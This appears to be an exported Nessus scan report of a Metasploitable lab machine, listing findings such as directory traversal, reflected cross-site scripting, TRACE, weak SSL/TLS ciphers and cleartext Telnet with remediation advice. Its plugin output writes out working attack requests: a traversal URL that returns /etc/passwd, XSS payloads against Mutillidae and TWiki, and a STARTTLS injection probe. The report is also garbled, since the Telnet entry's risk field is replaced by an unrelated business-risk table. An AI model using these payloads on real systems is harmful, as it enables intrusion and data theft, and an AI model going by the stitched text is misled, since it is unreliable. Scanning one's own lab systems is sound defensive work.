+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=../../../../../../../../etc/passwd%00index.html

----- output -----
<blockquote>
<!-- Begin Content -->
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
-----

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=../../../../../../../../etc/passwd%00index.ht
ml

----- output -----
<blockquote>
<!-- Begin Content -->
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
-----
```

39466 - CGI Generic XSS (quick test)

Synopsis

The remote web server is prone to cross-site scripting attacks.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings with malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML and script code to be executed in a user's browser within the security context of the affected site.

These XSS are likely to be 'non persistent' or 'reflected'.

See Also

https://en.wikipedia.org/wiki/Cross_site_scripting#Non-persistent

<http://www.nessus.org/u?ea9a0369>

<http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting>

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade to address any cross-site scripting vulnerabilities.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:80
XREF	CWE:81
XREF	CWE:83
XREF	CWE:86
XREF	CWE:116
XREF	CWE:442
XREF	CWE:692
XREF	CWE:712
XREF	CWE:722

XREF	CWE:725
XREF	CWE:751
XREF	CWE:801
XREF	CWE:811
XREF	CWE:928
XREF	CWE:931

Plugin Information

Published: 2009/06/19, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to cross-site scripting (quick test) :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=<IMG%20SRC="javascript:alert(104);">

----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=<IMG SRC="javascript:alert
(104);">">Toggle Hints</a></td><td><a href="./index.php?do=toggle-s
ecurity&page=<IMG SRC="javascript:alert(104);">">Toggle Security</a></td>
>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
-----

+ The 'template' parameter of the /twiki/bin/oops/Main/WebHomemailto:webmasteryour/company CGI :

/twiki/bin/oops/Main/WebHomemailto:webmasteryour/company?template=""><obj
ect%20type="text/html"%20data="http://www.example.com/include.html"></ob
ject>

----- output -----
<html><body>
<h1>TWiki Installation Error</h1>
Template file "><object type="text/html" data="http://www.example.com/in
clude.html"></object>.tmpl not found or template directory
/var/www/twiki/templates not found.<p />
Check the $templateDir variable in TWiki.cfg.
-----

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=<IMG%20SRC="javascript:alert(104);">

----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=<IMG SRC="javascript:alert
(104);">">Toggle Hints</a></td><td><a href="./index.php?do=toggle-s
ecurity&page=<IMG SRC="javascript:alert(104);">">Toggle Security</a></td>
>
<td><a href="set-up-database.php">Reset DB</a></td>
```

```
<td><a href="./index.php?page=show-log.php">View Log</a></td>
```

```
-----
```

Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)

[http://192.168.50.152/mutillidae/?page=<IMG%20SRC=javascript:alert\(104\);">](http://192.168.50.152/mutillidae/?page=<IMG%20SRC=javascript:alert(104);)

11213 - HTTP TRACE / TRACK Methods Allowed

Synopsis

Debugging functions are enabled on the remote web server.

Description

The remote web server supports the TRACE and/or TRACK methods. TRACE and TRACK are HTTP methods that are used to debug web server connections.

See Also

<http://www.nessus.org/u?e979b5cb>

<http://www.apacheweek.com/issues/03-01-24>

<https://download.oracle.com/sunalerts/1000718.1.html>

Solution

Disable these HTTP methods. Refer to the plugin output for more information.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

4.0

EPSS Score

0.0465

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	9506
BID	9561
BID	11604
BID	33374
BID	37995
CVE	CVE-2003-1567
CVE	CVE-2004-2320
CVE	CVE-2010-0386
XREF	CERT:288308
XREF	CERT:867593
XREF	CWE:16
XREF	CWE:200

Plugin Information

Published: 2003/01/23, Modified: 2024/04/09

Plugin Output

tcp/80/www

To disable these methods, add the following lines for each virtual host in your configuration file :

```
RewriteEngine on
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]
```

Alternatively, note that Apache versions 1.3.34, 2.0.55, and 2.2 support disabling the TRACE method natively via the 'TraceEnable' directive.

Nessus sent the following TRACE request : \n\n----- snip
-----\nTRACE /Nessus1036426494.html HTTP/1.1

Connection: Close
Host: 192.168.50.152
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

----- snip -----\n\nand received the
following response from the remote server :\n\n----- snip
-----\nHTTP/1.1 200 OK

Date: Wed, 11 Sep 2024 13:59:15 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: message/http

TRACE /Nessus1036426494.html HTTP/1.1
Connection: Keep-Alive

```
Host: 192.168.50.152
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
```

```
----- snip -----\n
```

46803 - PHP expose_php Information Disclosure

Synopsis

The configuration of PHP on the remote host allows disclosure of sensitive information.

Description

The PHP install on the remote server is configured in a way that allows disclosure of potentially sensitive information to an attacker through a special URL. Such a URL triggers an Easter egg built into PHP itself.

Other such Easter eggs likely exist, but Nessus has not checked for them.

See Also

https://www.0php.com/php_easter_egg.php

<https://seclists.org/webappsec/2004/q4/324>

Solution

In the PHP configuration file, php.ini, set the value for 'expose_php' to 'Off' to disable this behavior. Restart the web server daemon to put this change into effect.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2010/06/03, Modified: 2022/04/11

Plugin Output

tcp/80/www

Nessus was able to verify the issue using the following URL :

<http://192.168.50.152/dvwa/dvwa/includes/DBMS/DBMS.php/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000>

57608 - SMB Signing not required

Synopsis

Signing is not required on the remote SMB server.

Description

Signing is not required on the remote SMB server. An unauthenticated, remote attacker can exploit this to conduct man-in-the-middle attacks against the SMB server.

See Also

<http://www.nessus.org/u?df39b8b3>

<http://technet.microsoft.com/en-us/library/cc731957.aspx>

<http://www.nessus.org/u?74b80723>

<https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html>

<http://www.nessus.org/u?a3cac4ea>

Solution

Enforce message signing in the host's configuration. On Windows, this is found in the policy setting 'Microsoft network server: Digitally sign communications (always)'. On Samba, the setting is called 'server signing'. See the 'see also' links for further details.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

Plugin Information

Published: 2012/01/19, Modified: 2022/10/05

Plugin Output

tcp/445/cifs

52611 - SMTP Service STARTTLS Plaintext Command Injection

Synopsis

The remote mail service allows plaintext command injection while negotiating an encrypted communications channel.

Description

The remote SMTP service contains a software flaw in its STARTTLS implementation that could allow a remote, unauthenticated attacker to inject commands during the plaintext protocol phase that will be executed during the ciphertext protocol phase.

Successful exploitation could allow an attacker to steal a victim's email or associated SASL (Simple Authentication and Security Layer) credentials.

See Also

<https://tools.ietf.org/html/rfc2487>

<https://www.securityfocus.com/archive/1/516901/30/0/threaded>

Solution

Contact the vendor to see if an update is available.

Risk Factor

Medium

VPR Score

6.3

EPSS Score

0.0114

CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:N)

CVSS v2.0 Temporal Score

3.1 (CVSS2#E:POC/RL:OF/RC:C)

References

BID 46767

CVE	CVE-2011-0411
CVE	CVE-2011-1430
CVE	CVE-2011-1431
CVE	CVE-2011-1432
CVE	CVE-2011-1506
CVE	CVE-2011-2165
XREF	CERT:555316

Plugin Information

Published: 2011/03/10, Modified: 2019/03/06

Plugin Output

tcp/25/smtp

```
Nessus sent the following two commands in a single packet :
```

```
STARTTLS\r\nRSET\r\n
```

```
And the server sent the following two responses :
```

```
220 2.0.0 Ready to start TLS
250 2.0.0 Ok
```


90317 - SSH Weak Algorithms Supported

Synopsis

The remote SSH server is configured to allow weak encryption algorithms or no algorithm at all.

Description

Nessus has detected that the remote SSH server is configured to use the Arcfour stream cipher or no cipher at all. RFC 4253 advises against using Arcfour due to an issue with weak keys.

See Also

<https://tools.ietf.org/html/rfc4253#section-6.3>

Solution

Contact the vendor or consult product documentation to remove the weak ciphers.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2016/04/04, Modified: 2016/12/14

Plugin Output

tcp/22/ssh

```
The following weak server-to-client encryption algorithms are supported :
```

```
arcfour
arcfour128
arcfour256
```

```
The following weak client-to-server encryption algorithms are supported :
```

```
arcfour
arcfour128
arcfour256
```

31705 - SSL Anonymous Cipher Suites Supported

Synopsis

The remote service supports the use of anonymous SSL ciphers.

Description

The remote host supports the use of anonymous SSL ciphers. While this enables an administrator to set up a service that encrypts traffic without having to generate and configure SSL certificates, it offers no way to verify the remote host's identity and renders the service vulnerable to a man-in-the-middle attack.

Note: This is considerably easier to exploit if the attacker is on the same physical network.

See Also

<http://www.nessus.org/u?3a040ada>

Solution

Reconfigure the affected application if possible to avoid use of weak ciphers.

Risk Factor

Low

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.2 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0031

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

1.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID 28482
CVE CVE-2007-1858

Plugin Information

Published: 2008/03/28, Modified: 2023/10/27

Plugin Output

tcp/25/smtp

The following is a list of SSL anonymous ciphers supported by the remote TCP server :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
EXP-ADH-DES-CBC-SHA SHA1 export	0x00, 0x19	DH(512)	None	DES-CBC(40)	
EXP-ADH-RC4-MD5 export	0x00, 0x17	DH(512)	None	RC4(40)	MD5
ADH-DES-CBC-SHA SHA1	0x00, 0x1A	DH	None	DES-CBC(56)	

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
ADH-DES-CBC3-SHA SHA1	0x00, 0x1B	DH	None	3DES-CBC(168)	

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
ADH-AES128-SHA SHA1	0x00, 0x34	DH	None	AES-CBC(128)	
ADH-AES256-SHA SHA1	0x00, 0x3A	DH	None	AES-CBC(256)	
ADH-RC4-MD5	0x00, 0x18	DH	None	RC4(128)	MD5

The fields above are :

{Tenable ciphernamename}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}

51192 - SSL Certificate Cannot Be Trusted

Synopsis

The SSL certificate for this service cannot be trusted.

Description

The server's X.509 certificate cannot be trusted. This situation can occur in three different ways, in which the chain of trust can be broken, as stated below :

- First, the top of the certificate chain sent by the server might not be descended from a known public certificate authority. This can occur either when the top of the chain is an unrecognized, self-signed certificate, or when intermediate certificates are missing that would connect the top of the certificate chain to a known public certificate authority.
- Second, the certificate chain may contain a certificate that is not valid at the time of the scan. This can occur either when the scan occurs before one of the certificate's 'notBefore' dates, or after one of the certificate's 'notAfter' dates.
- Third, the certificate chain may contain a signature that either didn't match the certificate's information or could not be verified. Bad signatures can be fixed by getting the certificate with the bad signature to be re-signed by its issuer. Signatures that could not be verified are the result of the certificate's issuer using a signing algorithm that Nessus either does not support or does not recognize.

If the remote host is a public host in production, any break in the chain makes it more difficult for users to verify the authenticity and identity of the web server. This could make it easier to carry out man-in-the-middle attacks against the remote host.

See Also

<https://www.itu.int/rec/T-REC-X.509/en>

<https://en.wikipedia.org/wiki/X.509>

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2010/12/15, Modified: 2020/04/27

Plugin Output

tcp/25/smtp

The following certificate was part of the certificate chain sent by the remote host, but it has expired :

```
| -Subject    : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for  
Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-  
base.localdomain  
| -Not After  : Apr 16 14:07:45 2010 GMT
```

The following certificate was at the top of the certificate chain sent by the remote host, but it is signed by an unknown certificate authority :

```
| -Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for  
Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-  
base.localdomain  
| -Issuer  : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for  
Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-  
base.localdomain
```

15901 - SSL Certificate Expiry

Synopsis

The remote server's SSL certificate has already expired.

Description

This plugin checks expiry dates of certificates associated with SSL- enabled services on the target and reports whether any have already expired.

Solution

Purchase or generate a new SSL certificate to replace the existing one.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2004/12/03, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

The SSL certificate has already expired :

```
Subject      : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,
OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,
emailAddress=root@ubuntu804-base.localdomain
Issuer       : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,
OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,
emailAddress=root@ubuntu804-base.localdomain
Not valid before : Mar 17 14:07:45 2010 GMT
Not valid after  : Apr 16 14:07:45 2010 GMT
```

89058 - SSL DROWN Attack Vulnerability (Decrypting RSA with Obsolete and Weakened eNcryption)

Synopsis

The remote host may be affected by a vulnerability that allows a remote attacker to potentially decrypt captured TLS traffic.

Description

The remote host supports SSLv2 and therefore may be affected by a vulnerability that allows a cross-protocol Bleichenbacher padding oracle attack known as DROWN (Decrypting RSA with Obsolete and Weakened eNcryption). This vulnerability exists due to a flaw in the Secure Sockets Layer Version 2 (SSLv2) implementation, and it allows captured TLS traffic to be decrypted. A man-in-the-middle attacker can exploit this to decrypt the TLS connection by utilizing previously captured traffic and weak cryptography along with a series of specially crafted connections to an SSLv2 server that uses the same private key.

See Also

<https://drownattack.com/>

<https://drownattack.com/drown-attack-paper.pdf>

Solution

Disable SSLv2 and export grade cryptography cipher suites. Ensure that private keys are not used anywhere with server software that supports SSLv2 connections.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.2 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.9524

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

BID 83733
CVE CVE-2016-0800
XREF CERT:583776

Plugin Information

Published: 2016/03/01, Modified: 2019/11/20

Plugin Output

tcp/25/smtp

The remote host is affected by SSL DROWN and supports the following vulnerable cipher suites :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
EXP-RC2-CBC-MD5 export	0x04, 0x00, 0x80	RSA (512)	RSA	RC2-CBC (40)	MD5
EXP-RC4-MD5 export	0x02, 0x00, 0x80	RSA (512)	RSA	RC4 (40)	MD5

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
RC4-MD5	0x01, 0x00, 0x80	RSA	RSA	RC4 (128)	MD5

The fields above are :

{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}

65821 - SSL RC4 Cipher Suites Supported (Bar Mitzvah)

Synopsis

The remote service supports the use of the RC4 cipher.

Description

The remote host supports the use of RC4 in one or more cipher suites.

The RC4 cipher is flawed in its generation of a pseudo-random stream of bytes so that a wide variety of small biases are introduced into the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an attacker is able to obtain many (i.e., tens of millions) ciphertexts, the attacker may be able to derive the plaintext.

See Also

<https://www.rc4nomore.com/>

<http://www.nessus.org/u?ac7327a0>

<http://cr.yp.to/talks/2013.03.12/slides.pdf>

<http://www.isg.rhul.ac.uk/tls/>

https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf

Solution

Reconfigure the affected application, if possible, to avoid use of RC4 ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser and web server support.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.4 (CVSS:3.0/E:U/RL:X/RC:C)

VPR Score

4.4

EPSS Score

0.0054

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:ND/RC:C)

References

BID 58796
BID 73684
CVE CVE-2013-2566
CVE CVE-2015-2808

Plugin Information

Published: 2013/04/05, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

List of RC4 cipher suites supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
EXP-RC4-MD5 export	0x02, 0x00, 0x80	RSA (512)	RSA	RC4 (40)	MD5
EXP-ADH-RC4-MD5 export	0x00, 0x17	DH (512)	None	RC4 (40)	MD5
EXP-RC4-MD5 export	0x00, 0x03	RSA (512)	RSA	RC4 (40)	MD5

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
RC4-MD5	0x01, 0x00, 0x80	RSA	RSA	RC4 (128)	MD5
ADH-RC4-MD5	0x00, 0x18	DH	None	RC4 (128)	MD5
RC4-MD5	0x00, 0x04	RSA	RSA	RC4 (128)	MD5
RC4-SHA	0x00, 0x05	RSA	RSA	RC4 (128)	MD5

SHA1

The fields above are :

{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}

57582 - SSL Self-Signed Certificate

Synopsis

The SSL certificate chain for this service ends in an unrecognized self-signed certificate.

Description

The X.509 certificate chain for this service is not signed by a recognized certificate authority. If the remote host is a public host in production, this nullifies the use of SSL as anyone could establish a man-in-the-middle attack against the remote host.

Note that this plugin does not check for certificate chains that end in a certificate that is not self-signed, but is signed by an unrecognized certificate authority.

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2012/01/17, Modified: 2022/06/14

Plugin Output

tcp/25/smtp

```
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :
```

```
| -Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
```

26928 - SSL Weak Cipher Suites Supported

Synopsis

The remote service supports the use of weak SSL ciphers.

Description

The remote host supports the use of SSL ciphers that offer weak encryption.

Note: This is considerably easier to exploit if the attacker is on the same physical network.

See Also

<http://www.nessus.org/u?6527892d>

Solution

Reconfigure the affected application, if possible to avoid the use of weak ciphers.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

References

XREF	CWE:326
XREF	CWE:327
XREF	CWE:720
XREF	CWE:753
XREF	CWE:803
XREF	CWE:928
XREF	CWE:934

Plugin Information

Published: 2007/10/08, Modified: 2021/02/03

Plugin Output

192.168.50.152

Here is the list of weak SSL ciphers supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
EXP-RC2-CBC-MD5 export	0x04, 0x00, 0x80	RSA(512)	RSA	RC2-CBC(40)	MD5
EXP-RC4-MD5 export	0x02, 0x00, 0x80	RSA(512)	RSA	RC4(40)	MD5
EXP-EDH-RSA-DES-CBC-SHA SHA1 export	0x00, 0x14	DH(512)	RSA	DES-CBC(40)	
EDH-RSA-DES-CBC-SHA SHA1	0x00, 0x15	DH	RSA	DES-CBC(56)	
EXP-ADH-DES-CBC-SHA SHA1 export	0x00, 0x19	DH(512)	None	DES-CBC(40)	
EXP-ADH-RC4-MD5 export	0x00, 0x17	DH(512)	None	RC4(40)	MD5
ADH-DES-CBC-SHA SHA1	0x00, 0x1A	DH	None	DES-CBC(56)	
EXP-DES-CBC-SHA SHA1 export	0x00, 0x08	RSA(512)	RSA	DES-CBC(40)	
EXP-RC2-CBC-MD5 export	0x00, 0x06	RSA(512)	RSA	RC2-CBC(40)	MD5
EXP-RC4-MD5 export	0x00, 0x03	RSA(512)	RSA	RC4(40)	MD5
DES-CBC-SHA SHA1	0x00, 0x09	RSA	RSA	DES-CBC(56)	

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

81606 - SSL/TLS EXPORT_RSA <= 512-bit Cipher Suites Supported (FREAK)

Synopsis

The remote host supports a set of weak ciphers.

Description

The remote host supports EXPORT_RSA cipher suites with keys less than or equal to 512 bits. An attacker can factor a 512-bit RSA modulus in a short amount of time.

A man-in-the-middle attacker may be able to downgrade the session to use EXPORT_RSA cipher suites (e.g. CVE-2015-0204). Thus, it is recommended to remove support for weak cipher suites.

See Also

<https://www.smacktls.com/#freak>

<https://www.openssl.org/news/secadv/20150108.txt>

<http://www.nessus.org/u?b78da2c4>

Solution

Reconfigure the service to remove support for EXPORT_RSA cipher suites.

Risk Factor

Medium

VPR Score

3.7

EPSS Score

0.9488

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

BID 71936

CVE CVE-2015-0204

Plugin Information

Published: 2015/03/04, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

```
EXPORT_RSA cipher suites supported by the remote server :
```

```
Low Strength Ciphers (<= 64-bit key)
```

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	---	-----	---
EXP-DES-CBC-SHA	0x00, 0x08	RSA(512)	RSA	DES-CBC(40)	
SHA1 export					
EXP-RC2-CBC-MD5	0x00, 0x06	RSA(512)	RSA	RC2-CBC(40)	MD5
export					
EXP-RC4-MD5	0x00, 0x03	RSA(512)	RSA	RC4(40)	MD5
export					

```
The fields above are :
```

```
{Tenable ciphername}  
{Cipher ID code}  
Kex={key exchange}  
Auth={authentication}  
Encrypt={symmetric encryption method}  
MAC={message authentication code}  
{export flag}
```

104743 - TLS Version 1.0 Protocol Detection

Synopsis

The remote service encrypts traffic using an older version of TLS.

Description

The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a number of cryptographic design flaws. Modern implementations of TLS 1.0 mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that aren't enabled for TLS 1.2 and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30, 2018, except for POS POI terminals (and the SSL/TLS termination points to which they connect) that can be verified as not being susceptible to any known exploits.

See Also

<https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00>

Solution

Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N)

CVSS v2.0 Base Score

6.1 (CVSS2#AV:N/AC:H/Au:N/C:C/I:P/A:N)

References

XREF CWE:327

Plugin Information

Published: 2017/11/22, Modified: 2023/04/19

Plugin Output

tcp/25/smtp

TLsv1 is enabled and the server supports at least one cipher.

42263 - Unencrypted Telnet Server

Synopsis

The remote Telnet server transmits traffic in cleartext.

Description

The remote host is running a Telnet server over an unencrypted channel.

Using Telnet over an unencrypted channel is not recommended as logins, passwords, and commands are transferred in cleartext. This allows a remote, man-in-the-middle attacker to eavesdrop on a Telnet session to obtain credentials or other sensitive information and to modify traffic exchanged between a client and server.

SSH is preferred over Telnet since it protects credentials from eavesdropping and can tunnel additional data streams such as an X11 session.

Solution

Disable the Telnet service and use SSH instead.

Risk Factor	Impact	Control
1. Lack of industry connections	Reduced sales and market penetration	Networking and strategic partnerships
2. Limited marketing budget	Low brand awareness and visibility	Targeted digital marketing and social media
3. Intense competition	Price wars and reduced profit margins	Product differentiation and customer loyalty programs
4. Fluctuating market demand	Inventory overstock and cash flow issues	Diversification and flexible pricing strategies
5. Regulatory changes	Increased compliance costs and legal risks	Proactive legal counsel and industry monitoring
6. Technological obsolescence	Reduced product competitiveness	Continuous R&D investment and innovation
7. Supply chain disruptions	Production delays and increased costs	Diversified suppliers and inventory management
8. Economic downturns	Reduced consumer spending and demand	Cost-cutting measures and value-added services
9. Poor timing of market entry	Missed growth opportunities	Market research and strategic timing
10. Limited financial resources	Restricted growth and expansion	Securing additional funding and investment

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2009/10/27, Modified: 2024/01/16

Plugin Output

tcp/23/telnet

```
Nessus collected the following banner from the remote Telnet server :

----- snip -----
_ _ _ _ _ | _ _ _ _ _ _ _ | _ _ ( ) _ _ _ | _ _ | _ _ _ \
| ' ` \ / \ _ / _ \ ' / _ \| | _ / _ \ ' | ' \ / \ _ ) |
| | | | | _ / || ( | \ _ | | | ( ) | | | | ( | | | ) | | _ / _ \
|_| |_| | |\ \ _ | \ \ \ , _ | . _ / | | \ _ / | | \ _ | _ _ |
          |_|
Warning: Never expose this VM to an untrusted network!
```

```
Nessus collected the following banner from the remote Telnet server :

----- snip -----

_ _ _ _ _ | _ | _ _ _ _ _ | _ | _ ( ) _ | _ _ | _ | _ | _ | _ \
| ' ` - \ / - \ _ / - \ | ' D \ | / - \ | | _ / - \ | ' _ \ | / - \ ) | | | | | | | | | | | | |
| | | | | _ / || ( | \ _ / | | | ( ) | | | | ( | | | | _ / _ / _ |
|_| |_| | |\ _ | \ \ \ , _ | . _ / | | \ _ / | | \ \ \ , | _ . _ / | | \ _ | _ |
          |_ |

Warning: Never expose this VM to an untrusted network!
```

```
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login:
----- snip -----
```

Synopsis

The remote web application discloses path information.

Description

At least one web application hosted on the remote web server discloses the physical path to its directories when a malformed request is sent to it.

Leaking this kind of information may help an attacker fine-tune attacks against the application and its backend.

Solution

Filter error messages containing path information.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

